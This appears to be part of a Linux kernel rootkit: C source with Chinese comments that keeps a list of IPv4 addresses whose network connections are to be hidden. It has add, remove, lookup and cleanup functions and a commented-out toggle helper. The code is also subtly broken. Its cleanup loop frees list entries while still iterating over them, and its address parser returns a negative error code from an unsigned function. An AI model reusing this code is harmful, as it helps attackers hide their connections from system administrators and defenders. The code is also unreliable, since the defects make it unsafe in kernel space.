#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/inet.h> // 包含网络地址转换相关的头文件
#include <linux/netlink.h> // 包含Netlink相关的头文件
#include <linux/inet_diag.h> // 包含网络诊断相关的头文件

#include "network.h" // 包含自定义的network.h头文件
#include "string_helpers.h" // 包含自定义的string_helpers.h头文件

// 添加一个隐藏的网络连接
void network_hide_add(struct sockaddr_in addr)
{
	struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针

	hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存

	if (!hc) // 如果内存分配失败
		return; // 直接返回

	hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员
	list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中
}

// 移除一个隐藏的网络连接
void network_hide_remove(struct sockaddr_in addr)
{
	struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针

	list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
	{
		if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址
				list_del(&hc->list); // 从列表中删除该节点
				kfree(hc); // 释放内存
				break; // 退出循环
		}
	}
}

void network_hide_cleanup(void)
{
	struct hidden_conn *hc;

	list_for_each_entry(hc, &hidden_conn_list, list)
	{
		list_del(&hc->list);
		kfree(hc);
	}
}

// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)
{
	struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针

	list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
	{
		if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址
			return 1; // 返回1，表示地址被隐藏
	}

	return 0; // 返回0，表示地址未被隐藏
}

/*
unsigned int _inet4_pton(char *src)
{
	unsigned int dst; // 定义一个无符号整数用于存储转换后的地址
	int srclen = strlen(src); // 获取源字符串的长度

	if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度
		return -EINVAL; // 返回无效参数错误

	if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址
		return -EINVAL; // 如果转换失败，返回无效参数错误

	return dst; // 返回转换后的地址
}

void hide_conn(char *ip_str)
{
	unsigned int ip; // 定义一个无符号整数用于存储IP地址
	struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址

	if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址
		addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员

		if (is_addr_hidden(addr)) // 如果地址已经被隐藏
			network_hide_remove(addr); // 移除隐藏的地址
		else
			network_hide_add(addr); // 添加隐藏的地址
	}
}
*/